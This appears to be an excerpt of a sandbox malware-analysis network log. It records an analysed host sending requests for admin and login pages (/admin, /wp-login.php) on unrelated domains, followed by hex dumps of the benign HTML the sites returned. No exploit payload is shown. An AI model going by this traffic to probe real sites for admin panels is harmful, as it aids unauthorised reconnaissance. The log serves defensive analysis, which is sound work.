2023-12-20 02:13:38 UTC	6995	IN	Data Raw: 6c 6c 62 61 63 6b 22 20 76 61 6c 75 65 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 65 78 61 73 6f 70 65 6e 64 6f 6f 72 2e 63 6f 6d 2f 70 68 70 4d 79 41 64 6d 69 6e 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 69 64 3d 22 6c 6f 67 69 6e 2d 77 2d 67 6f 6f 67 6c 65 22 20 64 61 74 61 2d 61 63 74 69 6f 6e 3d 22 73 69 67 6e 2d 69 6e 2d 67 6f 6f 67 6c 65 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 64 65 66 61 75 6c 74 20 62 74 6e 2d 6c 67 22 20 68 72 65 66 3d 22 23 22 20 74 69 74 6c 65 3d 22 53 69 67 6e 20 49 6e 20 77 69 74 68 20 47 6f 6f 67 6c 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 61 20 66 61 2d 67 6f 6f 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 20 43 6f 6e 74 69 6e 75 65 20 77 69 74 68 20 47 6f 6f Data Ascii: llback" value="https://www.texasopendoor.com/phpMyAdmin/"> <a id="login-w-google" data-action="sign-in-google" class="btn btn-default btn-lg" href="#" title="Sign In with Google"><span class="fa fa-google"></span> Continue with Goo

Session ID	Source IP	Source Port	Destination IP	Destination Port
347	192.168.2.4	65103	104.26.7.37	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	210	OUT	GET /domain_profile.cfm?d=uniqueaustralian.com HTTP/1.1 Host: www.hugedomains.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:37 UTC	796	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close cache-control: private vary: Accept-Encoding set-cookie: site_version_phase=108; expires=Sat, 14-Dec-2024 02:13:37 GMT; path=/ set-cookie: site_version=HDv3; expires=Sat, 14-Dec-2024 02:13:37 GMT; path=/ x-powered-by: ASP.NET lb: TclPrdLbHd3 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=pRCCP4IypJxRRD37FfVh0HAYoer6Pe%2BZYbCScIH2I9vbDi7EN%2BnL9oaN9lUIQcQxEmvtAZ9sQy9TeGYr6nx0Fkol5WAQ9BVPHeIr1PprCFDRA0kgyCI6HnLdYliie%2FhPT5oKwJw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845dfe99ce25a0-MIA
2023-12-20 02:13:37 UTC	573	IN	Data Raw: 37 63 38 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 63 6f 6f 6b 69 65 79 65 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2d 63 6f 6f 6b 69 65 79 65 73 2e 63 6f 6d 2f 63 6c 69 65 6e 74 5f 64 61 74 61 2f 65 37 31 62 63 35 33 66 31 63 62 38 38 36 36 36 64 31 36 30 63 31 65 32 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 0a 3c 6d 65 Data Ascii: 7c86<!DOCTYPE html><html lang="en"><head><script id="cookieyes" type="text/javascript" src="https://cdn-cookieyes.com/client_data/e71bc53f1cb88666d160c1e2/script.js"></script><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><me
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 72 65 62 6f 6f 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 3f 61 61 3d 32 30 32 31 2d 30 36 2d 30 39 61 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 Data Ascii: ><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/reboot.min.css"><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/style.css?aa=2021-06-09a"><link rel="stylesheet" href="https://static.HugeDomains.com/css
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 63 73 73 3f 66 61 6d 69 6c 79 3d 4e 6f 74 6f 2b 53 61 6e 73 3a 34 30 30 2c 37 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 2e 74 79 70 65 6b 69 74 2e 6e 65 74 2f 7a 79 77 36 6d 64 73 2e 63 73 73 22 3e 0a 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 55 41 2d 37 31 31 37 33 33 39 2d 34 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0d 0a 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0d 0a 66 75 Data Ascii: css?family=Noto+Sans:400,700&display=swap"><link rel="stylesheet" href="https://use.typekit.net/zyw6mds.css"><script async src="https://www.googletagmanager.com/gtag/js?id=UA-7117339-4"></script><script>window.dataLayer = window.dataLayer \|\| [];fu
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 2d 69 6d 67 2f 73 65 61 72 63 68 2d 69 63 6f 6e 2d 77 68 69 74 65 2e 70 6e 67 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 20 61 6c 74 3d 22 48 65 61 64 65 72 20 4d 6f 62 69 6c 65 20 53 65 61 72 63 68 22 20 62 6f 72 64 65 72 3d 22 30 22 20 6f 6e 63 6c 69 63 6b 3d 22 68 65 61 64 65 72 4d 6f 62 69 6c 65 53 65 61 72 63 68 4d 61 67 46 75 6e 63 28 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 2d 62 6f 78 20 22 20 69 64 3d 22 68 64 76 33 48 65 61 64 65 72 53 65 61 72 63 68 42 6f 78 44 69 76 49 44 22 3e 0a 0a 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 64 6f 6d 61 69 6e 5f 73 65 61 72 63 68 2e 63 66 Data Ascii: -img/search-icon-white.png" tabindex="0" alt="Header Mobile Search" border="0" onclick="headerMobileSearchMagFunc(); return false;"></div><div class="search-box " id="hdv3HeaderSearchBoxDivID"><form action="https://www.HugeDomains.com/domain_search.cf
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 68 65 61 64 65 72 2d 74 65 6c 20 68 69 64 65 41 74 39 39 31 57 69 64 74 68 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 70 68 6f 6e 65 2d 69 63 6f 6e 2e 70 6e 67 22 20 61 6c 74 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 74 65 6c 6c 2d 74 65 78 74 22 3e 2b 31 2d 33 30 33 2d 38 39 33 2d 30 35 35 32 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 6e 61 76 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 20 68 51 51 51 69 64 65 41 74 39 39 31 57 69 64 74 68 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 44 72 61 77 65 72 4c 61 79 20 22 20 6f 6e 63 6c 69 63 6b 3d 22 20 24 28 Data Ascii: header-tel hideAt991Width"><img src="https://static.HugeDomains.com/images/hdv3-img/phone-icon.png" alt><span class="tell-text">+1-303-893-0552</span></a></div></div></div><nav class="navbar hQQQideAt991Width"><div class="overDrawerLay " onclick=" $(
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 61 72 74 2d 69 63 6f 6e 22 20 73 74 79 6c 65 3d 22 70 61 64 64 69 6e 67 2d 74 6f 70 3a 30 70 78 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 2e 63 66 6d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 20 22 20 69 64 3d 22 68 64 76 33 48 65 61 64 65 72 53 68 6f 70 70 69 6e 67 43 61 72 74 4c 69 6e 6b 49 44 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 53 68 6f 70 70 69 6e 67 20 43 61 72 74 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 6f 62 69 6c 65 2d 73 68 6f 77 22 3e 53 68 6f 70 70 69 6e 67 20 63 61 72 74 3c 2f 73 70 61 6e 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f Data Ascii: </div><div class="cart-icon" style="padding-top:0px;"><a href="https://www.HugeDomains.com/shopping_cart.cfm" class="whiteLink " id="hdv3HeaderShoppingCartLinkID" aria-label="Shopping Cart"><span class="mobile-show">Shopping cart</span><img src="https://
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 3a 30 70 78 3b 20 6d 69 6e 2d 77 69 64 74 68 3a 32 37 33 70 78 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 3b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 70 78 3b 20 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 22 3e 50 72 6f 63 65 73 73 69 6e 67 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 31 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 32 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 33 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 34 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 Data Ascii: :0px; min-width:273px; margin-top:0px; margin-bottom:0px; display:flex;">Processing<div class="circularJ"><div class="circularJ_1"></div><div class="circularJ_2"></div><div class="circularJ_3"></div><div class="circularJ_4"></div><div class="circula
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 70 61 79 6d 65 6e 74 2d 70 6c 61 6e 2d 73 65 74 75 70 2e 63 66 6d 3f 64 3d 55 6e 69 71 75 65 41 75 73 74 72 61 6c 69 61 6e 2e 63 6f 6d 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 64 69 66 2d 6c 22 3e 53 65 65 20 64 65 74 61 69 6c 73 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 72 65 64 69 74 69 20 22 3e 0a 3c 75 6c 3e 0a 3c 6c 69 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6d 67 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 33 30 64 61 79 73 6d 61 6c 6c 69 63 6f 2e 70 6e 67 22 20 61 Data Ascii: <a href="https://www.HugeDomains.com/payment-plan-setup.cfm?d=UniqueAustralian.com" class="link dif-l">See details</a></div><div class="crediti "><ul><li><div class="img"><img src="https://static.HugeDomains.com/images/hdv3-img/30daysmallico.png" a
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 2d 70 72 6f 64 75 63 74 2d 62 6c 6f 63 6b 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 6e 2d 62 6c 6f 63 6b 22 3e 0a 3c 68 31 20 69 64 3d 22 6d 61 69 6e 22 20 63 6c 61 73 73 3d 22 64 6f 6d 61 69 6e 2d 6e 61 6d 65 22 3e 55 6e 69 71 75 65 41 75 73 74 72 61 6c 69 61 6e 2e 63 6f 6d 3c 2f 68 31 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 64 2d 74 2d 6e 22 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 69 73 20 66 6f 72 20 73 61 6c 65 3a 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 72 65 65 6e 22 3e 24 32 2c 36 39 35 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 73 22 3e 0a 3c 70 20 63 6c 61 73 Data Ascii: "container"><div class="single-product-block"><div class="bn-block"><h1 id="main" class="domain-name">UniqueAustralian.com</h1><p class="d-t-n">This domain is for sale: <span class="green">$2,695</span></p></div><div class="tablet-block-s"><p clas
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 22 63 69 72 63 75 6c 61 72 4a 5f 37 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 38 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 6d 69 64 6c 65 22 20 73 74 79 6c 65 3d 22 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 32 35 70 78 3b 22 3e 0a 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 22 3e 6f 72 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 72 69 67 68 74 22 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d Data Ascii: "circularJ_7"></div><div class="circularJ_8"></div></div></button></div><div class="tablet-block-midle" style="padding-bottom:25px;"><span style="font-size:16px;">or</span></div><div class="tablet-block-right"><a href="https://www.HugeDomains.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
348	192.168.2.4	65524	3.33.130.190	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	322	OUT	GET /admin HTTP/1.1 Host: walshfam.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:37 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:37 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_H04pzxxU/Sus6rdIjbkNfCnsztWFZAylUlRMLksyNDzfPvkzOYj6EAsVTa8MGVaBPbII7vyxIUYr47aycb8cmw Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:37 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
349	192.168.2.4	65142	108.163.227.170	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	180	OUT	GET /wp-login.php HTTP/1.1 Host: activegraphics.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:37 UTC	352	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:37 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:37 UTC	5312	IN	Data Raw: 31 34 62 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 41 63 74 69 76 65 20 47 72 61 70 68 69 63 73 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 61 Data Ascii: 14b3<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Active Graphics — WordPress</title><meta name='robots' content='max-image-preview:large, noindex, noa

Session ID	Source IP	Source Port	Destination IP	Destination Port
350	192.168.2.4	65042	172.217.15.206	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	232	OUT	GET /a/collinsgordonhenry.com/sites/system/app/pages/meta/domainWelcome HTTP/1.1 Host: sites.google.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:37 UTC	467	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: DENY Last-Modified: Wed, 06 Dec 2023 21:50:10 GMT Expires: Wed, 20 Dec 2023 02:13:37 GMT Date: Wed, 20 Dec 2023 02:13:37 GMT Cache-Control: private, max-age=5 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2023-12-20 02:13:37 UTC	785	IN	Data Raw: 31 32 31 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 2e 74 6f 70 53 68 61 64 6f 77 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 73 6c 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 69 74 65 73 2f 70 2f 64 38 37 31 31 33 2f 73 79 73 74 65 6d 2f 61 70 70 2f 70 61 67 65 73 2f 6d 65 74 61 2f 64 6f 6d 61 69 6e 57 65 6c 63 6f 6d 65 2f 74 53 68 61 64 2e 67 69 66 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 Data Ascii: 1214<!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml"><head><style type="text/css"> .topShadow { background-image: url(https://ssl.gstatic.com/sites/p/d87113/system/app/pages/meta/domainWelcome/tShad.gif); ba
2023-12-20 02:13:37 UTC	1252	IN	Data Raw: 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 2e 74 6f 70 50 61 64 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 37 35 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 2e 66 6f 6f 74 65 72 54 65 78 74 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 36 36 36 36 36 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 Data Ascii: } .topPadding { padding-top: 75px; } .footerText { font-family: Arial, Helvetica, sans-serif; font-size: 12px; color: #666666; background-position: center;
2023-12-20 02:13:37 UTC	1252	IN	Data Raw: 61 74 69 63 2e 63 6f 6d 2f 73 69 74 65 73 2f 70 2f 64 38 37 31 31 33 2f 73 79 73 74 65 6d 2f 61 70 70 2f 70 61 67 65 73 2f 6d 65 74 61 2f 64 6f 6d 61 69 6e 57 65 6c 63 6f 6d 65 2f 72 54 6f 70 43 6f 72 6e 65 72 2e 67 69 66 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 2e 6c 42 6f 74 43 6f 72 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 73 6c 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 69 74 65 73 2f 70 2f 64 38 37 31 31 33 2f 73 79 73 74 65 6d 2f 61 70 70 2f 70 61 67 65 73 2f 6d 65 74 61 2f 64 6f 6d 61 69 Data Ascii: atic.com/sites/p/d87113/system/app/pages/meta/domainWelcome/rTopCorner.gif); background-repeat: no-repeat; } .lBotCorner { background-image: url(https://ssl.gstatic.com/sites/p/d87113/system/app/pages/meta/domai
2023-12-20 02:13:37 UTC	1252	IN	Data Raw: 0a 3c 2f 74 72 3e 0a 3c 74 72 3e 0a 3c 74 64 20 77 69 64 74 68 3d 22 31 33 22 20 63 6c 61 73 73 3d 22 6c 65 66 74 53 68 61 64 6f 77 22 3e 3c 69 6d 67 20 73 72 63 3d 22 64 6f 6d 61 69 6e 57 65 6c 63 6f 6d 65 2f 73 2e 67 69 66 22 20 77 69 64 74 68 3d 22 31 22 20 68 65 69 67 68 74 3d 22 31 22 20 2f 3e 3c 2f 74 64 3e 0a 3c 74 64 3e 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 20 63 6c 61 73 73 3d 22 77 65 6c 63 6f 6d 65 22 3e 57 65 6c 63 6f 6d 65 20 74 6f 3c 62 72 20 2f 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 74 65 4e 61 6d 65 22 3e 63 6f 6c 6c 69 6e 73 67 6f 72 64 6f 6e 68 65 6e 72 79 2e 63 6f 6d 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 3c 2f 74 64 3e 0a 3c 74 64 20 63 6f 6c 73 70 61 6e 3d 22 33 22 20 61 6c 69 67 6e 3d 22 72 69 67 68 74 22 3e 3c 69 Data Ascii: </tr><tr><td width="13" class="leftShadow"><img src="domainWelcome/s.gif" width="1" height="1" /></td><td><p align="center" class="welcome">Welcome to<br /><span class="siteName">collinsgordonhenry.com</span></p></td><td colspan="3" align="right"><i
